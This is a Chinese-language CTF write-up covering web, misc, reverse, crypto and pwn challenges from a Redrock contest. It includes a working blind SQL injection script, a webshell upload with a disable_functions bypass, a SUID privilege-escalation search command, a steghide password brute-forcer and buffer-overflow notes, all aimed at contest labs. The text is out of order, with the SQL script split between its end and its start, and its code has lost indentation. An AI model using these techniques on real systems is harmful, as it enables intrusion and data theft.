| 干煸四季豆"
result = ""
for i in range(1, 1000):
print(result)
print(i)
min_value = 32
max_value = 126
mid = (min_value + max_value) // 2 # 中值
while min_value < max_value:
# 构建payload并进行URL编码
#payload =f"index.php?type=>>(if(ord(mid((select group_concat(table_name) from information_schema.tables where table_schema like database()),{i},{i}))>{mid},2,1))"
#tables = f'(Select(group_concat(column_name))from(infOrmation_schema.columns)where((table_name)like(\'secret\')))'
tables = f'(Select(group_concat(flag))from(secret)where((secret_value)like(\'Redrock%\')))'
char = f'ord(mid({tables},{i},{i}))'
payload=f'index.php?type=>>(if({char}>{mid},2,1))'
full_url =f"{url}{payload}"
print(full_url)
# 发送GET请求
response = requests.get(full_url)
# 检查返回内容是否包含标记
if mark in response.text:
min_value = mid+1
print("get")
else:
max_value = mid
mid = (min_value + max_value) // 2
# 找不到目标元素时停止
if mid < 32 or mid > 126:
break
result += chr(mid)
print("Result:", result)
```
然后就是用二分法查值最后得出flag
6.简简单单upload
进去首先审计代码
发先了它得上传逻辑，就是说它会将源文件改名并上传道upload得目录下，
改名逻辑是时间戳+_+原名
所以通过上传文件时的回显获得服务器时间
然后写一个脚本换算时间戳
```
from datetime import datetime
import pytz
time_str = "Wed, 20 Nov 2024 04:22:49 GMT"
gmt = pytz.timezone('GMT')
dt = datetime.strptime(time_str, '%a, %d %b %Y %H:%M:%S GMT')
dt = gmt.localize(dt)
timestamp = int(dt.timestamp())
print("时间戳:", timestamp)
```
至于文件上传目录，不难想到就是/uploads
于是上传一个一句话用蚁剑连接它
连接后查看根目录
发现flag就在哪儿
但是打开是空白。发现是权限问题
然后开始想办法绕过
结果shell都无法使用
查阅资料，是php设置了disable_function
通过phpinfo()发现禁用了很多方法
于是继续查阅资料
发现可以用蚁剑插件绕过
成功绕过
然后考虑提权
，因为是通过反代，而且服务器nc也没有，连查阅的资料中提到的反弹都不能做到，于是完全提权路子被否掉
于是开始继续查阅资料
继续尝试
最后查阅到了suid提权
```
find / -user root -perm -4000 -print 2>/dev/null
```
然后查看文件中存在哪些usid权限的文件
对比后发现没有可以直接获得执行root权限命令的程序
但是发现有一个curl
开始以curl方向思考
一番尝试下
成功获得flag
然后得到flag
7.slowjson
这道题是真没想过如此简单
我还在哪儿琢磨半天
本质上就是发送一个json，里面包含了如题目所说的用于操作java实现读取写入操作的各种类
spring会反序列化它们（实例化它们），从而让这些类运行起来
同时呢根据文档描述，读操作为一个字符一个字符的读。所以剩下的就很简单了
写一个脚本然后不同发送请求，请求里填充着构造好的恶意代码然后就可以了
幸运的是hint直接就写好了这样的代码
所以我只需要略作修改（指把地址改一下）就可以得到flag的anscii码
Reverse
1.baby_Reverse
走迷宫，首先ida打开看程序长什么样
好的，键盘输入每一步的方位，anscii码分别对应的是up down right left的首字母
所以题目要求的前三十位只需要看前三十步长什么样
然后呢不难发现
就是存储地图数据的地方
那么直接看迷宫啥样
整理一下
发现有部分道路堵塞，没关系，反正都在很后面了影响不大
随便修补修补。我只取前面的（图中展示的是修补完了的）
然后就是用bfs算法算出路径
算出后取前面30个
（A为左右B为上下的位移）
然后anscii转换一下
flag就出了
2.easy
确实很easy，flag直接明文展示的
拿就拿下呗
3.mini_game
ida打开
好多东西
看不懂
没事
我只知道这个游戏就是很简单的小游戏，只需要键盘输入屏幕上显示过的字符就可以获得过关，获取部分flag
最大的问题是，显示的速度太快，根本记不住
没事
ce启动，启动变速齿轮，然后速度就正常了
过关呗，然后flag拿下
 |
找到了
剥离水印。获得第一次zip密码
然后level2
给了个图片和dic
因为有dic首先怀疑是文件植入了一个zip
要用dic暴力破解zip得到flag
打开kali
binwalk -e。。。。。。。。。。
没用
查看hint
怀疑是图片数据直接隐写
然后开始判断种类
先用`stegdetect`判断，结果ng，所以f5和ourgruss排除
同时尝试oursecret
直接判断为无
于是使用Stegsolve查看图片细节
发现大量奇怪色块判断是`steghide`
着手编写脚本
```
#http://pcat.cc
from subprocess import *
def foo():
stegoFile='level2.jpg'
extractFile='hide.txt'
passFile='dic.txt'
errors=['could not extract','steghide --help','Syntax error']
cmdFormat='steghide extract -sf "%s" -xf "%s" -p "%s"'
f=open(passFile,'r')
for line in f.readlines():
cmd=cmdFormat %(stegoFile,extractFile,line.strip())
p=Popen(cmd,shell=True,stdout=PIPE,stderr=STDOUT)
content=unicode(p.stdout.read(),'gbk')
for err in errors:
if err in content:
break
else:
print content,
print 'the passphrase is %s' %(line.strip())
f.close()
return
if __name__ == '__main__':
foo()
print 'ok'
pass
```
运行
成功获得flag
7.mermory
kali里下好vol然后内存分析，在浏览器记录里发现了secret.png和part3
然后把secret.png导出获得头
在剪切板记录里获得part2
最后结合头部中部尾部得到flag
8.5525
SilentEye隐写，把音频导入然后解密就行
根据hint提示这个密码和五月天有关（u1s1它这个误导非常大，因为hint说key是歌手名首字母大写可问题是解出来的key是Mayday二Mayday是五月天这个乐队的名字，五月天是乐队而不是歌手，真的奇了怪了
## 密码学
1.real1ty的小秘密
凯撒密码，试几下就出了
2.我解md5真的假的
一个一个解就行直接用给的那个网站就行
注意第4个，给的那个网站我没查到，所有只能硬算
撞库就完事咯
3.Morse_Code
找个网站直接解，接完调小写并且%ub 和%ud分别是{}
4.easy crypto
先问一下gpt这是啥加密方式
问到是仿射加密
发现其具有周期性
那我多跑几遍直到redrock出现就行了
5.What is RSA
写一个解rsa的脚本
把参数填了就出了
6.e这么小吗
这道题很难，先是尝试了硬解（包括不限于拿自己电脑跑n的因素分解以及网上搜库，还用rsatoolv2也试了都没出）直到翻到一个博客
[RSA算法原理及CTF解题_ctf rsa 已知m n c 求e-CSDN博客](https://blog.csdn.net/qq_45521281/article/details/114706622)
##### e=3，可进行小明文攻击
适用情况：e较小，一般为3。
当如果公钥e很小，明文m也不大的话，就会导致 `m^e=k*n+c` 中的k值很小甚至为0，爆破k或直接开三次方即可。
根据这个思路
（因为这道题给我发的数字都是10进制所有我需要先改一下代码再获得10进制解密数字后转16进制然后转字符串）
结果图：
7.rel1ty的大秘密
这道题是赤石，贼大一个文件
但是总的来说还是很简单
写3个程序分别用于解base16 32 64编码
然后来回套，看那个可以继续套下去
直到出现一个很像flag的东西
然后猜测royk与rock处是交换点
然后取oyk 和ock 进行原始base64解密
对比不同
交换（题意就是有3对数据表内容发生了交换）
然后是real1tG 的G与 y
不断尝试，交换
得出可能flag
然后提交
8.real1ty的中秘密
维吉尼亚密码的变种，叫gpt写了个脚本
```
def vigenere_decrypt(ciphertext, key, shift=0):
plaintext = ""
base = ord('A') # 假设为大写字母
for i in range(len(ciphertext)):
c = ciphertext[i]
k = key[i % len(key)]
# 解密公式
decrypted_char = chr((ord(c) - ord(k) - shift) % 26 + base)
plaintext += decrypted_char
return plaintext
# 示例调用
ciphertext = "密文内容" # 替换成真实密文
key = "密钥" # 替换成已知密钥或尝试推测
shift = 0 # 替换成尝试的shift值
print(vigenere_decrypt(ciphertext, key, shift))
```
不难发现j是{
同时呢调整大小写
使大小写与密文一致
最后发现提交后还是不对
然后抖了一激灵
既然使real1ty beileves crypto ***
那么根据real1ty的大秘密我可以猜测是那个内容是safe
然后得到结果
Redrock{real1ty_believes_crypto_InfosAFE}
pwn
1.login
签到题
ida打开 输入-1 开启后门
故 -1
flag get
2. real login
3. 依旧签到
4. 
nc 连上
输入49
获得bash
然后去根目录cat flag
3.爱捉弄人的beatcat
这道题应该是个内存泄漏题
要buf=v2那就看怎么填充得到v2了呗，然后就看buf到r的空间大小0x191个，然后就这么填充A占位
就成功满足判定了
然后cat /flag
获得flag
4.计算猫
这个就是做脚本自动计算
然后就行了
5.与贝塔凯特约会
newstarctf 第一周的一个pwn题一样的过程
使nbytes_4的数据溢出到nbytes
把得到的payload输进窗口就完成了
6.贝塔凯特的后门
这道题也是内存溢出
但是使要溢出到指定函数（backdoor）的地址上从而调用backdoor
之前没有这方面的知识
找了很久的资料
最后知道了方法
先是填充
使buf刚刚溢出
0x50+0x08生成个A
然后是加上backdoor的地址
启动脚本
成功获得flag
web
1.贪吃蛇
score控制台改10000就行
2.这是真签到
进去翻翻源码
得到flag
3.机器人
newstarctf中的智械危机类似
看robots.txt这是一个协议关于爬虫相关的
然后先看hint知道/flag下的字符串是flag的每个字符填充7个随机字符得到
所以写个脚本就得到flag了
4.留言板
python版sql注入
先在留言板试了几下
发现它会打印一个字符串回来
内容就是你写的内容
但是它被u‘’包被
所以写的时候现在前面加一个‘+f’就可在{}里执行任意命令，注意到它有限长，而且和‘’的数量.的数量有关，所以废了下功夫构造出一个函数得到flag
5.肚子饿了
这道题使真的很折磨人
我试了很久的绕过,都没有成功绕掉，你是黑客不给你吃真的把我脑子贯穿，chatgpt都爆了几次
最后找到了成功的方式。
首先，这个题是布尔盲注
那么我就要想办法得生成一个字符然后判断这个字符是否是（首先是表然后是列最后是值）的几号字符。
看了newstarctf的wp也是能够知道了这大概是个什么流程
但是问题最大的是如何找到这个判断通过长时间的分析发现and和union不能用，位置还是在尴尬的order by 后面 并且order by 后面已经有了一个值（在这里命名为x）。所以唯一的出路是想办法让那个by后面的值入手，发现if(e1,e2,e3)这个sql语句中e1是判别式如果正确那么就会返回e2如果错误那么就会返回e3。这就是一个很好的触发点。此时如果找到一个运算符让x与这个if出来的值进行计算可以改变表的顺序就大功告成。
经过尝试。最后发现如果在?type=处填写>>IF((判别式),2,1)就可以做到上条件。然后就开始着手写脚本
```
import requests
from urllib.parse import quote
url = "http://127.0.0.1:16626/"
mark = "西红柿炒鸡蛋